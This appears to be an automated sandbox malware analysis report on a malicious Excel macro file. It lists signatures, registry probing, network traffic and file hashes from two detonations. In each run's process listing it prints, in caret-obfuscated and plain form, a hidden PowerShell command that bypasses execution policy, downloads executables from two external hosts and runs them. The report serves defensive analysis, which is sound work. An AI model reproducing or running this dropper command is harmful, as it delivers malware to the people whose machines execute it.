Malware Analysis Report

2025-01-22 19:11

Sample ID 240722-2b5w5a1hma
Target 99ee3de5b1ff1665708ca47338eeb389824cc07af1273abe31c7b7a05facfee4
SHA256 99ee3de5b1ff1665708ca47338eeb389824cc07af1273abe31c7b7a05facfee4
Tags
macro macro_on_action execution
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

99ee3de5b1ff1665708ca47338eeb389824cc07af1273abe31c7b7a05facfee4

Threat Level: Known bad

The file 99ee3de5b1ff1665708ca47338eeb389824cc07af1273abe31c7b7a05facfee4 was found to be: Known bad.

Malicious Activity Summary

macro macro_on_action execution

Process spawned unexpected child process

Blocklisted process makes network request

Office macro that triggers on suspicious action

Suspicious Office macro

Command and Scripting Interpreter: PowerShell

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: EnumeratesProcesses

Checks processor information in registry

Enumerates system info in registry

Suspicious use of AdjustPrivilegeToken

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

Suspicious behavior: AddClipboardFormatListener

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-07-22 22:25

Signatures

Office macro that triggers on suspicious action

macro macro_on_action
Description Indicator Process Target
N/A N/A N/A N/A

Suspicious Office macro

macro
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-22 22:25

Reported

2024-07-22 22:26

Platform

win7-20240704-en

Max time kernel

24s

Max time network

17s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\99ee3de5b1ff1665708ca47338eeb389824cc07af1273abe31c7b7a05facfee4.xls

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\CMd.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\99ee3de5b1ff1665708ca47338eeb389824cc07af1273abe31c7b7a05facfee4.xls

C:\Windows\SysWOW64\CMd.exe

CMd.exe /c "p^ow^Ers^hel^l^.e^xe^ -nO^l -No^Ni^Nt^ -W^IndOws^ 1 -NoprOFIle^ -ex^Ec^u B^Ypa^S^s -Wi^ 1 -N^O^Pr^ $random = N^ew-^O^b^je^ct^ Sy^st^em.^Ran^do^m; Fo^rea^ch($um in @({http://cizijazykyhrou.cz/ama.exe},{http://biwebdisseny.com/eco.exe})) { t^ry { $fg = $ra^n^do^m.n^e^xt(0, 61132); $pp = '%appdata%\' + $fg + '.exe'; ^(^ne^w-^ob^jec^t s^ys^t^e^m.ne^t^.webcli^en^t)^.D^ow^nl^o^ad^Fi^le($um.ToString(), $pp); St^a^rt-^Pr^oce^ss $pp; b^re^ak; } c^at^ch { Wr^it^e-Ho^st $err^or[0].E^x^cep^ti^on } }"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powErshell.exe -nOl -NoNiNt -WIndOws 1 -NoprOFIle -exEcu BYpaSs -Wi 1 -NOPr $random = New-Object System.Random; Foreach($um in @({http://cizijazykyhrou.cz/ama.exe},{http://biwebdisseny.com/eco.exe})) { try { $fg = $random.next(0, 61132); $pp = 'C:\Users\Admin\AppData\Roaming\' + $fg + '.exe'; (new-object system.net.webclient).DownloadFile($um.ToString(), $pp); Start-Process $pp; break; } catch { Write-Host $error[0].Exception } }

Network

Country Destination Domain Proto
US 8.8.8.8:53 cizijazykyhrou.cz udp
CZ 46.8.8.200:80 cizijazykyhrou.cz tcp
US 8.8.8.8:53 biwebdisseny.com udp

Files

memory/2216-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2216-1-0x0000000071D5D000-0x0000000071D68000-memory.dmp

memory/2216-366-0x0000000006270000-0x0000000006370000-memory.dmp

memory/2216-263-0x0000000006270000-0x0000000006370000-memory.dmp

memory/2216-164-0x0000000006270000-0x0000000006370000-memory.dmp

memory/2216-455-0x0000000006270000-0x0000000006370000-memory.dmp

memory/2216-563-0x0000000071D5D000-0x0000000071D68000-memory.dmp

memory/2216-564-0x0000000006270000-0x0000000006370000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-22 22:25

Reported

2024-07-22 22:26

Platform

win10v2004-20240709-en

Max time kernel

46s

Max time network

43s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\99ee3de5b1ff1665708ca47338eeb389824cc07af1273abe31c7b7a05facfee4.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SYSTEM32\CMd.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\99ee3de5b1ff1665708ca47338eeb389824cc07af1273abe31c7b7a05facfee4.xls"

C:\Windows\SYSTEM32\CMd.exe

CMd.exe /c "p^ow^Ers^hel^l^.e^xe^ -nO^l -No^Ni^Nt^ -W^IndOws^ 1 -NoprOFIle^ -ex^Ec^u B^Ypa^S^s -Wi^ 1 -N^O^Pr^ $random = N^ew-^O^b^je^ct^ Sy^st^em.^Ran^do^m; Fo^rea^ch($um in @({http://cizijazykyhrou.cz/ama.exe},{http://biwebdisseny.com/eco.exe})) { t^ry { $fg = $ra^n^do^m.n^e^xt(0, 61132); $pp = '%appdata%\' + $fg + '.exe'; ^(^ne^w-^ob^jec^t s^ys^t^e^m.ne^t^.webcli^en^t)^.D^ow^nl^o^ad^Fi^le($um.ToString(), $pp); St^a^rt-^Pr^oce^ss $pp; b^re^ak; } c^at^ch { Wr^it^e-Ho^st $err^or[0].E^x^cep^ti^on } }"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powErshell.exe -nOl -NoNiNt -WIndOws 1 -NoprOFIle -exEcu BYpaSs -Wi 1 -NOPr $random = New-Object System.Random; Foreach($um in @({http://cizijazykyhrou.cz/ama.exe},{http://biwebdisseny.com/eco.exe})) { try { $fg = $random.next(0, 61132); $pp = 'C:\Users\Admin\AppData\Roaming\' + $fg + '.exe'; (new-object system.net.webclient).DownloadFile($um.ToString(), $pp); Start-Process $pp; break; } catch { Write-Host $error[0].Exception } }

Network

Country Destination Domain Proto
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
FR 52.109.68.129:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 129.68.109.52.in-addr.arpa udp
US 8.8.8.8:53 cizijazykyhrou.cz udp
CZ 46.8.8.200:80 cizijazykyhrou.cz tcp
US 8.8.8.8:53 22.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 biwebdisseny.com udp
US 8.8.8.8:53 200.8.8.46.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 10.179.89.13.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp

Files

memory/2496-0-0x00007FF89F4B0000-0x00007FF89F4C0000-memory.dmp

memory/2496-2-0x00007FF89F4B0000-0x00007FF89F4C0000-memory.dmp

memory/2496-1-0x00007FF89F4B0000-0x00007FF89F4C0000-memory.dmp

memory/2496-3-0x00007FF89F4B0000-0x00007FF89F4C0000-memory.dmp

memory/2496-4-0x00007FF89F4B0000-0x00007FF89F4C0000-memory.dmp

memory/2496-5-0x00007FF8DF4CD000-0x00007FF8DF4CE000-memory.dmp

memory/2496-9-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp

memory/2496-10-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp

memory/2496-8-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp

memory/2496-11-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp

memory/2496-7-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp

memory/2496-6-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp

memory/2496-13-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp

memory/2496-12-0x00007FF89D400000-0x00007FF89D410000-memory.dmp

memory/2496-14-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp

memory/2496-18-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp

memory/2496-19-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp

memory/2496-17-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp

memory/2496-16-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp

memory/2496-15-0x00007FF89D400000-0x00007FF89D410000-memory.dmp

memory/2496-99-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp

memory/5532-615-0x000001A61CB60000-0x000001A61CB82000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hdxrkrzb.tm5.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

C:\Users\Admin\AppData\Roaming\38726.exe

MD5 6ef02398f62dba21a714f594f1b41c0c
SHA1 35ff956a403f991440678410da9d62b6af356458
SHA256 ebb8bb04e30b3a5e04c087a9e7fca556b76961b42433e52473be40e73afa9cd0
SHA512 4758938d0602747b811a8a1e630b9e8a43893ce5e97f73824e627b4c75f6247f4918ccc139cdd148e5ceaaec4b8b58cece67f1f04f5c549fcb140b7e0feb3f14

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 966172937f36170dafbef1c27fa60cde
SHA1 4f49c6ecbb49816cef1c807b6b2054d5f7d223c8
SHA256 53f4639259085152efcc17392f978db52e7ae473830b2ad317479ffe6fb1c17a
SHA512 f4cf0d3172d455fdb247fcf871b57e14343c91a536c17690fe234e2a4a07a42cd326e63fe06c0d247bc388a678ee06680e5c28e7257ef31ceebf16edf15af571

memory/2496-651-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp